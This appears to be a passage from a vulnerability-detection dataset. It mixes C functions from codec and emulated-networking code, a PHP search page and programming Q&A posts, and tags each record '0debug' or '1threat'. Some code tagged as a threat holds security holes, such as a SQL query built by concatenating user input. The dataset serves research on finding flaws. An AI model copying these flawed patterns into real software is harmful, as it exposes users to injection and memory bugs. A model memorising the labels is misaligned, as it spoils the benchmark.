s->mv[dir][i][1]; } } if(!CONFIG_GRAY || !(s->flags&CODEC_FLAG_GRAY)) chroma_4mv_motion(s, dest_cb, dest_cr, ref_picture, pix_op[1], mx, my); } break; case MV_TYPE_FIELD: if (s->picture_structure == PICT_FRAME) { if(!is_mpeg12 && s->quarter_sample){ for(i=0; i<2; i++){ qpel_motion(s, dest_y, dest_cb, dest_cr, 1, i, s->field_select[dir][i], ref_picture, pix_op, qpix_op, s->mv[dir][i][0], s->mv[dir][i][1], 8); } }else{ mpeg_motion_field(s, dest_y, dest_cb, dest_cr, 0, s->field_select[dir][0], ref_picture, pix_op, s->mv[dir][0][0], s->mv[dir][0][1], 8, mb_y); mpeg_motion_field(s, dest_y, dest_cb, dest_cr, 1, s->field_select[dir][1], ref_picture, pix_op, s->mv[dir][1][0], s->mv[dir][1][1], 8, mb_y); } } else { if(s->picture_structure != s->field_select[dir][0] + 1 && s->pict_type != AV_PICTURE_TYPE_B && !s->first_field){ ref_picture = s->current_picture_ptr->f.data; } mpeg_motion(s, dest_y, dest_cb, dest_cr, s->field_select[dir][0], ref_picture, pix_op, s->mv[dir][0][0], s->mv[dir][0][1], 16, mb_y>>1); } break; case MV_TYPE_16X8: for(i=0; i<2; i++){ uint8_t ** ref2picture; if(s->picture_structure == s->field_select[dir][i] + 1 || s->pict_type == AV_PICTURE_TYPE_B || s->first_field){ ref2picture= ref_picture; }else{ ref2picture = s->current_picture_ptr->f.data; } mpeg_motion(s, dest_y, dest_cb, dest_cr, s->field_select[dir][i], ref2picture, pix_op, s->mv[dir][i][0], s->mv[dir][i][1] + 16*i, 8, mb_y>>1); dest_y += 16*s->linesize; dest_cb+= (16>>s->chroma_y_shift)*s->uvlinesize; dest_cr+= (16>>s->chroma_y_shift)*s->uvlinesize; } break; case MV_TYPE_DMV: if(s->picture_structure == PICT_FRAME){ for(i=0; i<2; i++){ int j; for(j=0; j<2; j++){ mpeg_motion_field(s, dest_y, dest_cb, dest_cr, j, j^i, ref_picture, pix_op, s->mv[dir][2*i + j][0], s->mv[dir][2*i + j][1], 8, mb_y); } pix_op = s->hdsp.avg_pixels_tab; } }else{ for(i=0; i<2; i++){ mpeg_motion(s, dest_y, dest_cb, dest_cr, s->picture_structure != i+1, ref_picture, pix_op, s->mv[dir][2*i][0],s->mv[dir][2*i][1],16, mb_y>>1); pix_op=s->hdsp.avg_pixels_tab; if(!s->first_field){ ref_picture = s->current_picture_ptr->f.data; } } } break; default: av_assert2(0); } }
1threat
tcp_input(struct mbuf *m, int iphlen, struct socket *inso) { struct ip save_ip, *ip; register struct tcpiphdr *ti; caddr_t optp = NULL; int optlen = 0; int len, tlen, off; register struct tcpcb *tp = NULL; register int tiflags; struct socket *so = NULL; int todrop, acked, ourfinisacked, needoutput = 0; int iss = 0; u_long tiwin; int ret; struct ex_list *ex_ptr; Slirp *slirp; DEBUG_CALL("tcp_input"); DEBUG_ARGS((dfd, " m = %8lx iphlen = %2d inso = %lx\n", (long )m, iphlen, (long )inso )); if (m == NULL) { so = inso; slirp = so->slirp; tp = sototcpcb(so); m = so->so_m; so->so_m = NULL; ti = so->so_ti; tiwin = ti->ti_win; tiflags = ti->ti_flags; goto cont_conn; } slirp = m->slirp; ti = mtod(m, struct tcpiphdr *); if (iphlen > sizeof(struct ip )) { ip_stripoptions(m, (struct mbuf *)0); iphlen=sizeof(struct ip ); } ip=mtod(m, struct ip *); save_ip = *ip; save_ip.ip_len+= iphlen; tlen = ((struct ip *)ti)->ip_len; tcpiphdr2qlink(ti)->next = tcpiphdr2qlink(ti)->prev = NULL; memset(&ti->ti_i.ih_mbuf, 0 , sizeof(struct mbuf_ptr)); ti->ti_x1 = 0; ti->ti_len = htons((uint16_t)tlen); len = sizeof(struct ip ) + tlen; if(cksum(m, len)) { goto drop; } off = ti->ti_off << 2; if (off < sizeof (struct tcphdr) || off > tlen) { goto drop; } tlen -= off; ti->ti_len = tlen; if (off > sizeof (struct tcphdr)) { optlen = off - sizeof (struct tcphdr); optp = mtod(m, caddr_t) + sizeof (struct tcpiphdr); } tiflags = ti->ti_flags; NTOHL(ti->ti_seq); NTOHL(ti->ti_ack); NTOHS(ti->ti_win); NTOHS(ti->ti_urp); m->m_data += sizeof(struct tcpiphdr)+off-sizeof(struct tcphdr); m->m_len -= sizeof(struct tcpiphdr)+off-sizeof(struct tcphdr); if (slirp->restricted) { for (ex_ptr = slirp->exec_list; ex_ptr; ex_ptr = ex_ptr->ex_next) { if (ex_ptr->ex_fport == ti->ti_dport && ti->ti_dst.s_addr == ex_ptr->ex_addr.s_addr) { break; } } if (!ex_ptr) goto drop; } findso: so = slirp->tcp_last_so; if (so->so_fport != ti->ti_dport || so->so_lport != ti->ti_sport || so->so_laddr.s_addr != ti->ti_src.s_addr || so->so_faddr.s_addr != ti->ti_dst.s_addr) { so = solookup(&slirp->tcb, ti->ti_src, ti->ti_sport, ti->ti_dst, ti->ti_dport); if (so) slirp->tcp_last_so = so; } if (so == NULL) { if ((tiflags & (TH_SYN|TH_FIN|TH_RST|TH_URG|TH_ACK)) != TH_SYN) goto dropwithreset; if ((so = socreate(slirp)) == NULL) goto dropwithreset; if (tcp_attach(so) < 0) { free(so); goto dropwithreset; } sbreserve(&so->so_snd, TCP_SNDSPACE); sbreserve(&so->so_rcv, TCP_RCVSPACE); so->so_laddr = ti->ti_src; so->so_lport = ti->ti_sport; so->so_faddr = ti->ti_dst; so->so_fport = ti->ti_dport; if ((so->so_iptos = tcp_tos(so)) == 0) so->so_iptos = ((struct ip *)ti)->ip_tos; tp = sototcpcb(so); tp->t_state = TCPS_LISTEN; } if (so->so_state & SS_ISFCONNECTING) goto drop; tp = sototcpcb(so); if (tp == NULL) goto dropwithreset; if (tp->t_state == TCPS_CLOSED) goto drop; tiwin = ti->ti_win; tp->t_idle = 0; if (SO_OPTIONS) tp->t_timer[TCPT_KEEP] = TCPTV_KEEPINTVL; else tp->t_timer[TCPT_KEEP] = TCPTV_KEEP_IDLE; if (optp && tp->t_state != TCPS_LISTEN) tcp_dooptions(tp, (u_char *)optp, optlen, ti); if (tp->t_state == TCPS_ESTABLISHED && (tiflags & (TH_SYN|TH_FIN|TH_RST|TH_URG|TH_ACK)) == TH_ACK && ti->ti_seq == tp->rcv_nxt && tiwin && tiwin == tp->snd_wnd && tp->snd_nxt == tp->snd_max) { if (ti->ti_len == 0) { if (SEQ_GT(ti->ti_ack, tp->snd_una) && SEQ_LEQ(ti->ti_ack, tp->snd_max) && tp->snd_cwnd >= tp->snd_wnd) { if (tp->t_rtt && SEQ_GT(ti->ti_ack, tp->t_rtseq)) tcp_xmit_timer(tp, tp->t_rtt); acked = ti->ti_ack - tp->snd_una; sbdrop(&so->so_snd, acked); tp->snd_una = ti->ti_ack; m_free(m); if (tp->snd_una == tp->snd_max) tp->t_timer[TCPT_REXMT] = 0; else if (tp->t_timer[TCPT_PERSIST] == 0) tp->t_timer[TCPT_REXMT] = tp->t_rxtcur; if (so->so_snd.sb_cc) (void) tcp_output(tp); return; } } else if (ti->ti_ack == tp->snd_una && tcpfrag_list_empty(tp) && ti->ti_len <= sbspace(&so->so_rcv)) { tp->rcv_nxt += ti->ti_len; if (so->so_emu) { if (tcp_emu(so,m)) sbappend(so, m); } else sbappend(so, m); tp->t_flags |= TF_ACKNOW; tcp_output(tp); return; } } { int win; win = sbspace(&so->so_rcv); if (win < 0) win = 0; tp->rcv_wnd = max(win, (int)(tp->rcv_adv - tp->rcv_nxt)); } switch (tp->t_state) { case TCPS_LISTEN: { if (tiflags & TH_RST) goto drop; if (tiflags & TH_ACK) goto dropwithreset; if ((tiflags & TH_SYN) == 0) goto drop; if ((so->so_faddr.s_addr & slirp->vnetwork_mask.s_addr) == slirp->vnetwork_addr.s_addr) { if (so->so_faddr.s_addr != slirp->vhost_addr.s_addr && so->so_faddr.s_addr != slirp->vnameserver_addr.s_addr) { for (ex_ptr = slirp->exec_list; ex_ptr; ex_ptr = ex_ptr->ex_next) { if(ex_ptr->ex_fport == so->so_fport && so->so_faddr.s_addr == ex_ptr->ex_addr.s_addr) { so->so_state |= SS_CTL; break; } } if (so->so_state & SS_CTL) { goto cont_input; } } } if (so->so_emu & EMU_NOCONNECT) { so->so_emu &= ~EMU_NOCONNECT; goto cont_input; } if((tcp_fconnect(so) == -1) && (errno != EINPROGRESS) && (errno != EWOULDBLOCK)) { u_char code=ICMP_UNREACH_NET; DEBUG_MISC((dfd, " tcp fconnect errno = %d-%s\n", errno,strerror(errno))); if(errno == ECONNREFUSED) { tcp_respond(tp, ti, m, ti->ti_seq+1, (tcp_seq)0, TH_RST|TH_ACK); } else { if(errno == EHOSTUNREACH) code=ICMP_UNREACH_HOST; HTONL(ti->ti_seq); HTONL(ti->ti_ack); HTONS(ti->ti_win); HTONS(ti->ti_urp); m->m_data -= sizeof(struct tcpiphdr)+off-sizeof(struct tcphdr); m->m_len += sizeof(struct tcpiphdr)+off-sizeof(struct tcphdr); *ip=save_ip; icmp_error(m, ICMP_UNREACH,code, 0,strerror(errno)); } tcp_close(tp); m_free(m); } else { so->so_m = m; so->so_ti = ti; tp->t_timer[TCPT_KEEP] = TCPTV_KEEP_INIT; tp->t_state = TCPS_SYN_RECEIVED; tcp_template(tp); } return; cont_conn: if (so->so_state & SS_NOFDREF) { tp = tcp_close(tp); goto dropwithreset; } cont_input: tcp_template(tp); if (optp) tcp_dooptions(tp, (u_char *)optp, optlen, ti); if (iss) tp->iss = iss; else tp->iss = slirp->tcp_iss; slirp->tcp_iss += TCP_ISSINCR/2; tp->irs = ti->ti_seq; tcp_sendseqinit(tp); tcp_rcvseqinit(tp); tp->t_flags |= TF_ACKNOW; tp->t_state = TCPS_SYN_RECEIVED; tp->t_timer[TCPT_KEEP] = TCPTV_KEEP_INIT; goto trimthenstep6; } case TCPS_SYN_SENT: if ((tiflags & TH_ACK) && (SEQ_LEQ(ti->ti_ack, tp->iss) || SEQ_GT(ti->ti_ack, tp->snd_max))) goto dropwithreset; if (tiflags & TH_RST) { if (tiflags & TH_ACK) { tcp_drop(tp, 0); } goto drop; } if ((tiflags & TH_SYN) == 0) goto drop; if (tiflags & TH_ACK) { tp->snd_una = ti->ti_ack; if (SEQ_LT(tp->snd_nxt, tp->snd_una)) tp->snd_nxt = tp->snd_una; } tp->t_timer[TCPT_REXMT] = 0; tp->irs = ti->ti_seq; tcp_rcvseqinit(tp); tp->t_flags |= TF_ACKNOW; if (tiflags & TH_ACK && SEQ_GT(tp->snd_una, tp->iss)) { soisfconnected(so); tp->t_state = TCPS_ESTABLISHED; (void) tcp_reass(tp, (struct tcpiphdr *)0, (struct mbuf *)0); if (tp->t_rtt) tcp_xmit_timer(tp, tp->t_rtt); } else tp->t_state = TCPS_SYN_RECEIVED; trimthenstep6: ti->ti_seq++; if (ti->ti_len > tp->rcv_wnd) { todrop = ti->ti_len - tp->rcv_wnd; m_adj(m, -todrop); ti->ti_len = tp->rcv_wnd; tiflags &= ~TH_FIN; } tp->snd_wl1 = ti->ti_seq - 1; tp->rcv_up = ti->ti_seq; goto step6; } todrop = tp->rcv_nxt - ti->ti_seq; if (todrop > 0) { if (tiflags & TH_SYN) { tiflags &= ~TH_SYN; ti->ti_seq++; if (ti->ti_urp > 1) ti->ti_urp--; else tiflags &= ~TH_URG; todrop--; } if (todrop > ti->ti_len || (todrop == ti->ti_len && (tiflags & TH_FIN) == 0)) { tiflags &= ~TH_FIN; tp->t_flags |= TF_ACKNOW; todrop = ti->ti_len; } m_adj(m, todrop); ti->ti_seq += todrop; ti->ti_len -= todrop; if (ti->ti_urp > todrop) ti->ti_urp -= todrop; else { tiflags &= ~TH_URG; ti->ti_urp = 0; } } if ((so->so_state & SS_NOFDREF) && tp->t_state > TCPS_CLOSE_WAIT && ti->ti_len) { tp = tcp_close(tp); goto dropwithreset; } todrop = (ti->ti_seq+ti->ti_len) - (tp->rcv_nxt+tp->rcv_wnd); if (todrop > 0) { if (todrop >= ti->ti_len) { if (tiflags & TH_SYN && tp->t_state == TCPS_TIME_WAIT && SEQ_GT(ti->ti_seq, tp->rcv_nxt)) { iss = tp->rcv_nxt + TCP_ISSINCR; tp = tcp_close(tp); goto findso; } if (tp->rcv_wnd == 0 && ti->ti_seq == tp->rcv_nxt) { tp->t_flags |= TF_ACKNOW; } else { goto dropafterack; } } m_adj(m, -todrop); ti->ti_len -= todrop; tiflags &= ~(TH_PUSH|TH_FIN); } if (tiflags&TH_RST) switch (tp->t_state) { case TCPS_SYN_RECEIVED: case TCPS_ESTABLISHED: case TCPS_FIN_WAIT_1: case TCPS_FIN_WAIT_2: case TCPS_CLOSE_WAIT: tp->t_state = TCPS_CLOSED; tcp_close(tp); goto drop; case TCPS_CLOSING: case TCPS_LAST_ACK: case TCPS_TIME_WAIT: tcp_close(tp); goto drop; } if (tiflags & TH_SYN) { tp = tcp_drop(tp,0); goto dropwithreset; } if ((tiflags & TH_ACK) == 0) goto drop; switch (tp->t_state) { case TCPS_SYN_RECEIVED: if (SEQ_GT(tp->snd_una, ti->ti_ack) || SEQ_GT(ti->ti_ack, tp->snd_max)) goto dropwithreset; tp->t_state = TCPS_ESTABLISHED; tp->snd_una=ti->ti_ack; if (so->so_state & SS_CTL) { ret = tcp_ctl(so); if (ret == 1) { soisfconnected(so); so->so_state &= ~SS_CTL; } else if (ret == 2) { so->so_state &= SS_PERSISTENT_MASK; so->so_state |= SS_NOFDREF; } else { needoutput = 1; tp->t_state = TCPS_FIN_WAIT_1; } } else { soisfconnected(so); } (void) tcp_reass(tp, (struct tcpiphdr *)0, (struct mbuf *)0); tp->snd_wl1 = ti->ti_seq - 1; goto synrx_to_est; case TCPS_ESTABLISHED: case TCPS_FIN_WAIT_1: case TCPS_FIN_WAIT_2: case TCPS_CLOSE_WAIT: case TCPS_CLOSING: case TCPS_LAST_ACK: case TCPS_TIME_WAIT: if (SEQ_LEQ(ti->ti_ack, tp->snd_una)) { if (ti->ti_len == 0 && tiwin == tp->snd_wnd) { DEBUG_MISC((dfd, " dup ack m = %lx so = %lx\n", (long )m, (long )so)); if (tp->t_timer[TCPT_REXMT] == 0 || ti->ti_ack != tp->snd_una) tp->t_dupacks = 0; else if (++tp->t_dupacks == TCPREXMTTHRESH) { tcp_seq onxt = tp->snd_nxt; u_int win = min(tp->snd_wnd, tp->snd_cwnd) / 2 / tp->t_maxseg; if (win < 2) win = 2; tp->snd_ssthresh = win * tp->t_maxseg; tp->t_timer[TCPT_REXMT] = 0; tp->t_rtt = 0; tp->snd_nxt = ti->ti_ack; tp->snd_cwnd = tp->t_maxseg; (void) tcp_output(tp); tp->snd_cwnd = tp->snd_ssthresh + tp->t_maxseg * tp->t_dupacks; if (SEQ_GT(onxt, tp->snd_nxt)) tp->snd_nxt = onxt; goto drop; } else if (tp->t_dupacks > TCPREXMTTHRESH) { tp->snd_cwnd += tp->t_maxseg; (void) tcp_output(tp); goto drop; } } else tp->t_dupacks = 0; break; } synrx_to_est: if (tp->t_dupacks > TCPREXMTTHRESH && tp->snd_cwnd > tp->snd_ssthresh) tp->snd_cwnd = tp->snd_ssthresh; tp->t_dupacks = 0; if (SEQ_GT(ti->ti_ack, tp->snd_max)) { goto dropafterack; } acked = ti->ti_ack - tp->snd_una; if (tp->t_rtt && SEQ_GT(ti->ti_ack, tp->t_rtseq)) tcp_xmit_timer(tp,tp->t_rtt); if (ti->ti_ack == tp->snd_max) { tp->t_timer[TCPT_REXMT] = 0; needoutput = 1; } else if (tp->t_timer[TCPT_PERSIST] == 0) tp->t_timer[TCPT_REXMT] = tp->t_rxtcur; { register u_int cw = tp->snd_cwnd; register u_int incr = tp->t_maxseg; if (cw > tp->snd_ssthresh) incr = incr * incr / cw; tp->snd_cwnd = min(cw + incr, TCP_MAXWIN<<tp->snd_scale); } if (acked > so->so_snd.sb_cc) { tp->snd_wnd -= so->so_snd.sb_cc; sbdrop(&so->so_snd, (int )so->so_snd.sb_cc); ourfinisacked = 1; } else { sbdrop(&so->so_snd, acked); tp->snd_wnd -= acked; ourfinisacked = 0; } tp->snd_una = ti->ti_ack; if (SEQ_LT(tp->snd_nxt, tp->snd_una)) tp->snd_nxt = tp->snd_una; switch (tp->t_state) { case TCPS_FIN_WAIT_1: if (ourfinisacked) { if (so->so_state & SS_FCANTRCVMORE) { tp->t_timer[TCPT_2MSL] = TCP_MAXIDLE; } tp->t_state = TCPS_FIN_WAIT_2; } break; case TCPS_CLOSING: if (ourfinisacked) { tp->t_state = TCPS_TIME_WAIT; tcp_canceltimers(tp); tp->t_timer[TCPT_2MSL] = 2 * TCPTV_MSL; } break; case TCPS_LAST_ACK: if (ourfinisacked) { tcp_close(tp); goto drop; } break; case TCPS_TIME_WAIT: tp->t_timer[TCPT_2MSL] = 2 * TCPTV_MSL; goto dropafterack; } } step6: if ((tiflags & TH_ACK) && (SEQ_LT(tp->snd_wl1, ti->ti_seq) || (tp->snd_wl1 == ti->ti_seq && (SEQ_LT(tp->snd_wl2, ti->ti_ack) || (tp->snd_wl2 == ti->ti_ack && tiwin > tp->snd_wnd))))) { tp->snd_wnd = tiwin; tp->snd_wl1 = ti->ti_seq; tp->snd_wl2 = ti->ti_ack; if (tp->snd_wnd > tp->max_sndwnd) tp->max_sndwnd = tp->snd_wnd; needoutput = 1; } if ((tiflags & TH_URG) && ti->ti_urp && TCPS_HAVERCVDFIN(tp->t_state) == 0) { if (ti->ti_urp + so->so_rcv.sb_cc > so->so_rcv.sb_datalen) { ti->ti_urp = 0; tiflags &= ~TH_URG; goto dodata; } if (SEQ_GT(ti->ti_seq+ti->ti_urp, tp->rcv_up)) { tp->rcv_up = ti->ti_seq + ti->ti_urp; so->so_urgc = so->so_rcv.sb_cc + (tp->rcv_up - tp->rcv_nxt); tp->rcv_up = ti->ti_seq + ti->ti_urp; } } else if (SEQ_GT(tp->rcv_nxt, tp->rcv_up)) tp->rcv_up = tp->rcv_nxt; dodata: if (ti->ti_len && (unsigned)ti->ti_len <= 5 && ((struct tcpiphdr_2 *)ti)->first_char == (char)27) { tp->t_flags |= TF_ACKNOW; } if ((ti->ti_len || (tiflags&TH_FIN)) && TCPS_HAVERCVDFIN(tp->t_state) == 0) { TCP_REASS(tp, ti, m, so, tiflags); } else { m_free(m); tiflags &= ~TH_FIN; } if (tiflags & TH_FIN) { if (TCPS_HAVERCVDFIN(tp->t_state) == 0) { sofwdrain(so); tp->t_flags |= TF_ACKNOW; tp->rcv_nxt++; } switch (tp->t_state) { case TCPS_SYN_RECEIVED: case TCPS_ESTABLISHED: if(so->so_emu == EMU_CTL) tp->t_state = TCPS_LAST_ACK; else tp->t_state = TCPS_CLOSE_WAIT; break; case TCPS_FIN_WAIT_1: tp->t_state = TCPS_CLOSING; break; case TCPS_FIN_WAIT_2: tp->t_state = TCPS_TIME_WAIT; tcp_canceltimers(tp); tp->t_timer[TCPT_2MSL] = 2 * TCPTV_MSL; break; case TCPS_TIME_WAIT: tp->t_timer[TCPT_2MSL] = 2 * TCPTV_MSL; break; } } if (needoutput || (tp->t_flags & TF_ACKNOW)) { (void) tcp_output(tp); } return; dropafterack: if (tiflags & TH_RST) goto drop; m_free(m); tp->t_flags |= TF_ACKNOW; (void) tcp_output(tp); return; dropwithreset: if (tiflags & TH_ACK) tcp_respond(tp, ti, m, (tcp_seq)0, ti->ti_ack, TH_RST); else { if (tiflags & TH_SYN) ti->ti_len++; tcp_respond(tp, ti, m, ti->ti_seq+ti->ti_len, (tcp_seq)0, TH_RST|TH_ACK); } return; drop: m_free(m); }
1threat
How to conditionally apply CSS classes in React JS : <p>I've been musing on how best to conditionally apply a CSS class in React JS. I've seen some answers banding around but there aren't many out there or they're just not as elaborative as I'd like.</p>
0debug
In Laravel Eloquent what is the difference between limit vs take? : <p>In the documentation it shows the following:</p> <p>To limit the number of results returned from the query, or to skip a given number of results in the query, you may use the skip and take methods:</p> <pre><code>$users = DB::table('users')-&gt;skip(10)-&gt;take(5)-&gt;get(); </code></pre> <p>Alternatively, you may use the limit and offset methods:</p> <pre><code>$users = DB::table('users') -&gt;offset(10) -&gt;limit(5) -&gt;get(); </code></pre> <p>What are the differences between these two? Are there any differences in execution speed?</p>
0debug
How to Break Array Value And assign To Variable : I have a array Like 25,12,3,53 I want to break and store on variable like $variable1 = 25 $variable2 = 12 please help
0debug
Checking if the table has rows results in Null Pointer Exception in SQLiite Android : <p>I want to check if the table has rows and if it contains, then I want to delete it. Below is my code for checking if table has rows in it.</p> <pre><code> boolean empty = true; Cursor cursor = db.rawQuery("SELECT count(*) FROM TABLE_NAME",null); cursor.moveToFirst(); if (cursor.getInt(0) &gt; 0) { empty = false; } else { empty= true; } return empty; </code></pre> <p>I even tried checking with below code,</p> <pre><code> boolean empty = true; Cursor cur = db.rawQuery("SELECT COUNT(*) FROM TABLE_NAME", null); if (cur != null &amp;&amp; cur.moveToFirst()) { empty = (cur.getInt (0) == 0); } cur.close(); return empty; </code></pre> <p>Both of the above code, throws NullPointerException in line</p> <p>("SELECT COUNT(*) FROM TABLE_NAME", null);</p> <p>Any help would be great !! Thanks </p>
0debug
VS Code: What is the difference between push and publish : <p>On the GIT tab in Visual Studio Code there is an context menu with there items:</p> <ul> <li>Sync</li> <li>Pull</li> <li>Pull (release)</li> <li>Push</li> </ul> <p>==================</p> <ul> <li>Publish</li> </ul> <p>==================</p> <p>...</p> <p>What does the publish button do?</p>
0debug
query = 'SELECT * FROM customers WHERE email = ' + email_input
1threat
I want to calculate the total penalty received (save data in list) for a particular month but I don't know how to do it. Can anyone please help T.T : bookcode = str(input('Enter Book Code To Return: ')) day = int(input('Enter Days Borrowed:')) if(0 <= day <= 5): print('You have returned your book successfully =)') else: penalty = (day-5) * 1 print('You have to pay RM%.2f ,%penalty) print('\nYou have to pay RM','%.2f'%penalty)
0debug
static int mpeg_mux_read_header(AVFormatContext *s, AVFormatParameters *ap) { MpegDemuxContext *m; int size, startcode, c, rate_bound, audio_bound, video_bound, mux_rate, val; int codec_id, n, i, type; AVStream *st; m = av_mallocz(sizeof(MpegDemuxContext)); if (!m) return -ENOMEM; s->priv_data = m; m->header_state = 0xff; size = MAX_SYNC_SIZE; for(;;) { while (size > 0) { startcode = find_start_code(&s->pb, &size, &m->header_state); if (startcode == PACK_START_CODE) goto found; } return -ENODATA; found: get_byte(&s->pb); get_be16(&s->pb); get_be16(&s->pb); mux_rate = get_byte(&s->pb) << 16; mux_rate |= get_byte(&s->pb) << 8; mux_rate |= get_byte(&s->pb); mux_rate &= (1 << 22) - 1; m->mux_rate = mux_rate; startcode = find_start_code(&s->pb, &size, &m->header_state); if (startcode == SYSTEM_HEADER_START_CODE) break; } size = get_be16(&s->pb); rate_bound = get_byte(&s->pb) << 16; rate_bound |= get_byte(&s->pb) << 8; rate_bound |= get_byte(&s->pb); rate_bound = (rate_bound >> 1) & ((1 << 22) - 1); audio_bound = get_byte(&s->pb) >> 2; video_bound = get_byte(&s->pb) & 0x1f; get_byte(&s->pb); #if 0 printf("mux_rate=%d kbit/s\n", (m->mux_rate * 50 * 8) / 1000); printf("rate_bound=%d\n", rate_bound); printf("audio_bound=%d\n", audio_bound); printf("video_bound=%d\n", video_bound); #endif size -= 6; s->nb_streams = 0; while (size > 0) { c = get_byte(&s->pb); size--; if ((c & 0x80) == 0) break; val = get_be16(&s->pb); size -= 2; if (c >= 0xc0 && c <= 0xdf) { type = CODEC_TYPE_AUDIO; codec_id = CODEC_ID_MP2; n = 1; c = c | 0x100; } else if (c >= 0xe0 && c <= 0xef) { type = CODEC_TYPE_VIDEO; codec_id = CODEC_ID_MPEG1VIDEO; n = 1; c = c | 0x100; } else if (c == 0xb8) { type = CODEC_TYPE_AUDIO; codec_id = CODEC_ID_AC3; n = audio_bound; c = 0x80; } else if (c == 0xb9) { type = CODEC_TYPE_VIDEO; codec_id = CODEC_ID_MPEG1VIDEO; n = video_bound; c = 0x1e0; } else { type = 0; codec_id = 0; n = 0; } for(i=0;i<n;i++) { st = av_mallocz(sizeof(AVStream)); if (!st) return -ENOMEM; s->streams[s->nb_streams++] = st; st->id = c + i; st->codec.codec_type = type; st->codec.codec_id = codec_id; } } return 0; }
1threat
My website search query not working, need some help plz : so on my website I have a file **articles.php** and on it I have a search field. When I enter the information it redirects me to my **search.php** which is correct and in the **URL** I can see it is outputting my result but it's not showing me my results on the **search.php** body. **The Localhost URL is outputting after i searched "Can you game on windows visa"** http://localhost/qaa/search.php?search=Can+you+game+on+widows+vista&submit-search= > There is nothing on this page, just an empty box *search.php* ---------- **Connection** <?php $server = "localhost"; $username = "root"; $password = ""; $db = "Qaa"; $conn = mysqli_connect($server, $username, $password, $db); ?> ---------- **articles.php "Where my search bar is located"** <?php include 'connect.php'; ?> <h1>Front Page</h1> <h2>All articles:</h2> <link rel="stylesheet" type="text/css" href="css/article.css"> <div class="article-container"> <form action="search.php"> <input type="text" name="search" placeholder="Search"> <button type="submit" name="submit-search">Get answers</button> </form> <?php $sql = "SELECT * FROM article"; $result = mysqli_query($conn, $sql); $queryResults = mysqli_num_rows($result); if ($queryResults > 0){ while ($row = mysqli_fetch_assoc($result)){ echo "<div class='article-box'> <h3>".$row['a_title']."</h3> <p>".$row['a_text']."</p> <hp>".$row['a_date']."</p> <p>".$row['a_author']."</p> </div>"; } } ?> ---------- **Search.php "Where the search information should appear after click on 'Get answers button'"** <?php include 'connect.php'; ?> <link rel="stylesheet" type="text/css" href="css/article.css"> <h1>Search Page</h1> <div class="article-container"> <?php if (isset($_POST['submit-search'])){ $search = mysqli_real_escape_string($conn, $_POST['search']); $sql = "SELECT * FROM article WHERE a_title LIKE '%$search%' OR a_text LIKE '%$search%' OR a_author LIKE '%$search%' OR a_date LIKE '%$search%'"; $result = mysqli_query($conn, $sql); $queryResult = mysqli_num_rows($result); echo "There are ".$queryResult." results!"; if($queryResult > 0){ while ($row = mysqli_fetch_assoc($result)){ echo "<div class='article-box'> <h3>".$row['a_title']."</h3> <p>".$row['a_text']."</p> <hp>".$row['a_date']."</p> <p>".$row['a_author']."</p> </div>"; } }else{ echo "There are no results matching your search! Contact our support so we can add this or if you have a result, add it, as a result, using the GIVE ANSWER button!"; } } ?> </div>
0debug
static void spapr_cpu_reset(void *opaque) { sPAPRMachineState *spapr = SPAPR_MACHINE(qdev_get_machine()); PowerPCCPU *cpu = opaque; CPUState *cs = CPU(cpu); CPUPPCState *env = &cpu->env; cpu_reset(cs); cs->halted = 1; env->spr[SPR_HIOR] = 0; ppc_hash64_set_external_hpt(cpu, spapr->htab, spapr->htab_shift, &error_fatal); }
1threat
static bool virtio_device_endian_needed(void *opaque) { VirtIODevice *vdev = opaque; assert(vdev->device_endian != VIRTIO_DEVICE_ENDIAN_UNKNOWN); if (!virtio_has_feature(vdev, VIRTIO_F_VERSION_1)) { return vdev->device_endian != virtio_default_endian(); } return vdev->device_endian != VIRTIO_DEVICE_ENDIAN_LITTLE; }
1threat
Genrate random color IOS objective c? : Genrate random color float red = (float)(arc4random() % 255)/255.0; float blu = (float)(arc4random() % 255)/255.0; float green = (float)(arc4random() % 255)/255.0; view.backgroundColor = [UIColor colorWithRed:red green:green blue:blu alpha:1.0];
0debug
static int get_cv_color_primaries(AVCodecContext *avctx, CFStringRef *primaries) { enum AVColorPrimaries pri = avctx->color_primaries; switch (pri) { case AVCOL_PRI_UNSPECIFIED: *primaries = NULL; break; case AVCOL_PRI_BT709: *primaries = kCVImageBufferColorPrimaries_ITU_R_709_2; break; case AVCOL_PRI_BT2020: *primaries = kCVImageBufferColorPrimaries_ITU_R_2020; break; default: av_log(avctx, AV_LOG_ERROR, "Color primaries %s is not supported.\n", av_color_primaries_name(pri)); *primaries = NULL; return -1; } return 0; }
1threat
Selenium c# coding : driver.FindElement(By.Id("navHHome")).Click(); driver.FindElement(By.LinkText("Canon")).Click(); driver.FindElement(By.Id("searchBrand")).SendKeys("Canon AP" + Keys.Enter); driver.FindElement(By.Id("pListSearch")).SendKeys("AP 01" + Keys.Enter); I am getting an error Could any one tell me if this is rightly coded? Thanks
0debug
static int pci_device_hot_remove(Monitor *mon, const char *pci_addr) { PCIBus *root = pci_find_primary_bus(); PCIDevice *d; int bus; unsigned slot; Error *local_err = NULL; if (!root) { monitor_printf(mon, "no primary PCI bus (if there are multiple" " PCI roots, you must use device_del instead)"); return -1; } if (pci_read_devaddr(mon, pci_addr, &bus, &slot)) { return -1; } d = pci_find_device(root, bus, PCI_DEVFN(slot, 0)); if (!d) { monitor_printf(mon, "slot %d empty\n", slot); return -1; } qdev_unplug(&d->qdev, &local_err); if (local_err) { monitor_printf(mon, "%s\n", error_get_pretty(local_err)); error_free(local_err); return -1; } return 0; }
1threat
Android Gradle Sync failed could not find support-core-ui.aar : <p>I've been working on this Android Project for about a year now, suddenly when I opened it yesterday Android Studio 3.1.2 failed to sync gradle and the project doesn't build anymore giving me this error:</p> <pre><code>Could not find support-core-ui.jar (com.android.support:support-core-ui:27.1.1). Searched in the following locations: https://jcenter.bintray.com/com/android/support/support-core-ui/27.1.1/support-core-ui-27.1.1.jar Please install the Android Support Repository from the Android SDK Manager. Open Android SDK Manager </code></pre> <p>I'm pretty sure that the Android Support Repository is installed correctly because it's working successfully in other projects and all my other projects are working fine with no problems.</p> <p>I have this gradle file in the app module:</p> <pre><code>buildscript { repositories { maven { url 'https://maven.fabric.io/public' } } dependencies { classpath 'io.fabric.tools:gradle:1.21.5' } } plugins { id 'com.onesignal.androidsdk.onesignal-gradle-plugin' version '0.8.1' } apply plugin: 'com.onesignal.androidsdk.onesignal-gradle-plugin' apply plugin: 'com.android.application' apply plugin: 'io.fabric' apply plugin: 'com.neenbedankt.android-apt' apply plugin: 'realm-android' android { compileSdkVersion 27 buildToolsVersion "27.0.3" defaultConfig { minSdkVersion 